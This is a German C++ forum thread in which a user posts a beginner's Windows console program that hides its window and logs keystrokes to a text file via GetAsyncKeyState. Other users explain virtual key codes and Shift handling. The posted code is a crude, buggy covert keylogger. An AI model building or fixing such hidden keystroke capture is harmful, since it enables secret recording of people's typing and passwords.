Tastaturfunktion unterscheidet nicht zwischen Groß und Klein



  • Danke:

    HAB EIN PROBLEM:

    Grossbuchstaben, Kleinbuchstaben:

    if(GetAsyncKeyState(0x5A)){
    cout<<"Z";
    log+="Z";
    Sleep(200);

    und

    if(GetAsyncKeyState(0x61)){
    cout<<"z";
    log+="z";
    Sleep(200);

    wenn ich z drücke schreibt es ein GROSSES Z und wenn ich Shift + z drücke also Grosses Z schreibt er ein grosses Z. Was mach ich denn falsch?



  • Hallo

    Nichts, das ist korrekt so. Die Tastatur sendet nunmal für jedes Z genau ein Signal. Erst durch die Auswertung des SHIFT-Zustandes wird ein kleines bzw. großes Z draus. Du must also zusätzlich noch die SHIFT-Taste abfragen und dementsprechend entscheiden ob z oder Z.

    Der Lesbarkeit zuliebe solltest du keine Hexkonstanten an GetA... übergeben, sondern gleich die Char-Literale bzw. die Virtual Key Codes.

    bis bald
    akari



  • Also so:

    if(GetAsyncKeyState(0x5A))&&(GetAsyncKeyState(VK_SHIFT)){
               cout<<"Z";
               log+="Z";
               Sleep(200);
    

    ?

    Das zeigt mir aber nen Fehler an ... und wenn ich z schreibe ist es trozdem gross -.-!



  • Hallo

    Was für ein Fehler? 🙄
    Vermutlich den der durch die falsch gesetzten Klammern entsteht.

    Das 'Z' soll ja auch nicht die Funktion, sondern die Lesbarkeit deines Codes verbessern.

    /Edit : Und bitte beim Posten von Code beachten : sfds

    bis bald
    akari



  • Also Fehler ist behoben^^
    Hier mal was ich bis jetzt gemacht habe:

    Klappt i-wie überhaupt nicht -.-. er schreibt nie was kleines hin sowie auch nicht die Sonderzeichen. WISO?

    Hier mall mein Code

    #include <stdio.h>
    #include <windows.h>
    #include<iostream>
    #include <fstream>
    #include <string>
    
    using namespace std;
    
    int main(){
        FreeConsole();
        string log;
        while(true){
          if(GetAsyncKeyState(0x21)){
               cout<<"!";
               log+="!";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x23)){
               cout<<"#";
               log+="#";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x24)){
               cout<<"$";
               log+="$";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x25)){
               cout<<"%";
               log+="%";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x26)){
               cout<<"&";
               log+="&";
               Sleep(200);                      
          };      
    
          if(GetAsyncKeyState(0x27)){
               cout<<"'";
               log+="'";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x28)){
               cout<<"(";
               log+="(";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x28)){
               cout<<")";
               log+=")";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2A)){
               cout<<"*";
               log+="*";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2B)){
               cout<<"+";
               log+="+";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2C)){
               cout<<",";
               log+=",";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2D)){
               cout<<"-";
               log+="-";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2E)){
               cout<<".";
               log+=".";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x2F)){
               cout<<"/";
               log+="/";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x30)){
               cout<<"0";
               log+="0";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x31)){
               cout<<"1";
               log+="1";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x32)){
               cout<<"2";
               log+="2";
               Sleep(200);                      
          };  
               if(GetAsyncKeyState(0x44)){
               cout<<"3";
               log+="3";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x34)){
               cout<<"4";
               log+="4";
               Sleep(200);                      
          };  
          if(GetAsyncKeyState(0x35)){
               cout<<"5";
               log+="5";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x36)){
               cout<<"6";
               log+="6";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x37)){
               cout<<"7";
               log+="7";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x38)){
               cout<<"8";
               log+="8";
               Sleep(200);                      
          };      
          if(GetAsyncKeyState(0x39)){
               cout<<"9";
               log+="9";
               Sleep(200);                      
          };      
          if((GetAsyncKeyState(0x3A))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<":";
               log+=":";
               Sleep(200);                      
          };      
          if((GetAsyncKeyState(0x3B))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<";";
               log+=";";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(VK_SPACE)){
               cout<<"  ";
               log+="  ";
               Sleep(200);                      
          };
          if(GetAsyncKeyState(0x3C)){
               cout<<"<";
               log+="<";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x3D))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"=";
               log+="=";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x3E))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<">";
               log+=">";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x3F))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"?";
               log+="?";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x40))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"@";
               log+="@";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x41))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"A";
               log+="A";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x42))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"B";
               log+="B";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x43))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"C";
               log+="C";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x44))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"D";
               log+="D";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x45))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"E";
               log+="E";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x46))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"F";
               log+="F";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x47))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"G";
               log+="G";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x48))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"H";
               log+="H";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x49))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"I";
               log+="I";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4A))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"J";
               log+="J";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4B))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"K";
               log+="K";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4C))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"L";
               log+="L";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4D))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"M";
               log+="M";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4E))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"N";
               log+="N";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x4F))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"O";
               log+="O";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x50))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"P";
               log+="P";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x51))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"Q";
               log+="Q";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x52))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"R";
               log+="R";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x53))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"S";
               log+="S";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x54))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"T";
               log+="T";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x55))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"U";
               log+="U";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x56))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"V";
               log+="V";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x57))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"W";
               log+="W";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x58))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"X";
               log+="X";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x59))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"Y";
               log+="Y";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x5A))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"Z";
               log+="Z";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x5B)){
               cout<<"[";
               log+="[";
               Sleep(200);
          };
               if((GetAsyncKeyState(0x5D))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"]";
               log+="]";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x5E)){
               cout<<"^";
               log+="^";
               Sleep(200);
          };
          if((GetAsyncKeyState(0x5F))&&(GetAsyncKeyState(VK_SHIFT))){
               cout<<"_";
               log+="_";
               Sleep(200);
          };
    
          if(GetAsyncKeyState(97)){
               cout<<"a";
               log+="a";
               Sleep(200);
          };
          if(GetAsyncKeyState(98)){
               cout<<"b";
               log+="b";
               Sleep(200);
          };
          if(GetAsyncKeyState(99)){
               cout<<"c";
               log+="c";
               Sleep(200);
          };
          if(GetAsyncKeyState(100)){
               cout<<"d";
               log+="d";
               Sleep(200);
          };
          if(GetAsyncKeyState(101)){
               cout<<"e";
               log+="e";
               Sleep(200);
          };
          if(GetAsyncKeyState(102)){
               cout<<"f";
               log+="f";
               Sleep(200);
          };
          if(GetAsyncKeyState(103)){
               cout<<"g";
               log+="g";
               Sleep(200);
          };
          if(GetAsyncKeyState(104)){
               cout<<"h";
               log+="h";
               Sleep(200);
          };
          if(GetAsyncKeyState(105)){
               cout<<"i";
               log+="i";
               Sleep(200);
          };
          if(GetAsyncKeyState(106)){
               cout<<"j";
               log+="j";
               Sleep(200);
          };
          if(GetAsyncKeyState(107)){
               cout<<"k";
               log+="k";
               Sleep(200);
          };
          if(GetAsyncKeyState(108)){
               cout<<"l";
               log+="l";
               Sleep(200);
          };
          if(GetAsyncKeyState(109)){
               cout<<"m";
               log+="m";
               Sleep(200);
          };
          if(GetAsyncKeyState(110)){
               cout<<"n";
               log+="n";
               Sleep(200);
          };
          if(GetAsyncKeyState(111)){
               cout<<"o";
               log+="o";
               Sleep(200);
          };
          if(GetAsyncKeyState(112)){
               cout<<"p";
               log+="p";
               Sleep(200);
          };
          if(GetAsyncKeyState(113)){
               cout<<"q";
               log+="q";
               Sleep(200);
          };
          if(GetAsyncKeyState(114)){
               cout<<"r";
               log+="r";
               Sleep(200);
          };
          if(GetAsyncKeyState(115)){
               cout<<"s";
               log+="s";
               Sleep(200);
          };
          if(GetAsyncKeyState(116)){
               cout<<"t";
               log+="t";
               Sleep(200);
          };
          if(GetAsyncKeyState(117)){
               cout<<"u";
               log+="u";
               Sleep(200);
          };
          if(GetAsyncKeyState(118)){
               cout<<"v";
               log+="v";
               Sleep(200);
          };
          if(GetAsyncKeyState(119)){
               cout<<"w";
               log+="w";
               Sleep(200);
          };
          if(GetAsyncKeyState(120)){
               cout<<"x";
               log+="x";
               Sleep(200);
          };
          if(GetAsyncKeyState(121)){
               cout<<"y";
               log+="y";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x7A)){
               cout<<"z";
               log+="z";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x7B)){
               cout<<"{";
               log+="{";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x7C)){
               cout<<"|";
               log+="|";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x7D)){
               cout<<"}";
               log+="}";
               Sleep(200);
          };
          if(GetAsyncKeyState(0x7E)){
               cout<<"~";
               log+="~";
               Sleep(200);
          };
    
    //-----------------------------------------------//
    
      ofstream myfile;
      myfile.open ("Alle Tasten.txt");
      myfile << log;
      myfile.close();
    
    };
    
    }
    


  • Hallo,

    ist nur so eine Idee: könnte es sein, dass deine Endlos-while-Schleife (wozu auch immer die gut sein soll) zu schnell durchlaufen wird und deswegen immer nur ein Tastendruck registriert wird?
    Du arbeitest doch mit dem C++Builder, richtig? In welcher Methode welcher Komponente steht denn der gepostete Code?
    Und poste das nächste Mal bitte nicht soviel Code, wenn es nicht unbedingt nötig ist - da hat ja keiner mehr Lust zu antworten. In deinem Fall ist es wirklich nicht nötig. 😉

    MfG

    Edit: Und arbeite mal an deinem Deutsch - da kriegt man ja sonst Augenkrebs 😮



  • Hallo

    @ Kolumbus : Es ist doch klar zu sehen das dieses Programm für die Konsole ist, keine VCL-Komponente.

    @ h4xter : Fällt dir nicht auf das dein massenhaft kopierter Code dringend einer Zusammenfassung bedarf? Ich sehe außerdem keinen Bezug zum Builder mehr, also verschieb ich dich ins Konsolenforum (da dein Vorhaben sich wahrscheinlich auch nicht mit reinen C++ Mitteln umsetzen läßt)

    bis bald
    akari



  • Dieser Thread wurde von Moderator/in akari aus dem Forum VCL (C++ Builder) in das Forum DOS und Win32-Konsole verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.



  • Hallo,

    Klappt i-wie überhaupt nicht -.-. er schreibt nie was kleines hin

    Schon theoretisch nicht möglich, wenn man die Tabelle:

    http://msdn.microsoft.com/en-us/library/ms645540(VS.85).aspx

    betrachtet.

    97 == 0x61 == VK_NUMPAD1
    98 == 0x62 == VK_NUMPAD2

    usw...

    Wie kommst du also nur darauf, dass die Kleinbuchstaben dort liegen (es gibt keinen Unterschied im virtuellen Tastencode zwischen Groß- und Kleinbuchstaben, jede Taste hat genau einen Code!)?

    MfG,

    Probe-Nutzer



  • Ja schon aber ich muss es ja unterscheiden zwischen gross und klein!

    Das ist ja das Problem



  • h4xter schrieb:

    Ja schon aber ich muss es ja unterscheiden zwischen gross und klein!

    Schau dir doch mal deine Tastatur genau an. Hast du da eine "Klein-A"- und eine "Groß-A"-Taste?



  • lol ich glaub der hat 0 Plan was er macht wenn ich mir die Sachen da so durchlese ....

    Das sieht er so aus als würde der sich irgendwoher alles zusammen kopieren xD
    😃 😃



  • Beischpiel:

    if (Key == UpperCase (Key))
     //anweisungen
    

Anmelden zum Antworten